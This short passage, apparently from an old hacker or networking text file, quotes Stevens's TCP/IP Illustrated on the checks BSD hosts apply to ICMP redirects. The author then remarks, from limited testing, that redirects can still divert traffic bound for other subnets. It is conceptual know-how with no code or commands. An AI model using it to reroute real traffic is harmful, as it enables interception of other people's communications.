  765. Quoting from W. Stevens TCP/IP Illustrated, Volume 1 page 123:
  766. ...
  767. Additionally, a 4.4BSD host that recieves an ICMP redirect performs some checks
  768. before modifying its routing table. These are to prevent a misbehaving router or
  769. host, or a malicious user, from incorrectly, modifying a system's routing table.
  770.  
  771. 1. The new router must be on a directly connected network.
  772. 2. The redirect must be from the current router for that destination.
  773. 3. The redirect cannot tell the host to use itself as the router.
  774. 4. The route that's being modified must be an indirect route.
  775. ...
  776.  
  777. So, basically, if you have two machines on the same subnet and they both have a
  778. net route for that subnet, then you can't use ICMP to re-route one to another.
  779. At least this is true for the boxes I've tried it on..
  780.  
  781. You can still use redirects to forward traffic destined for hosts that are on
  782. a different subnet or outside of the network.
  783.  
  784. humble - jmcdonal@unf.edu
  785.  
  786.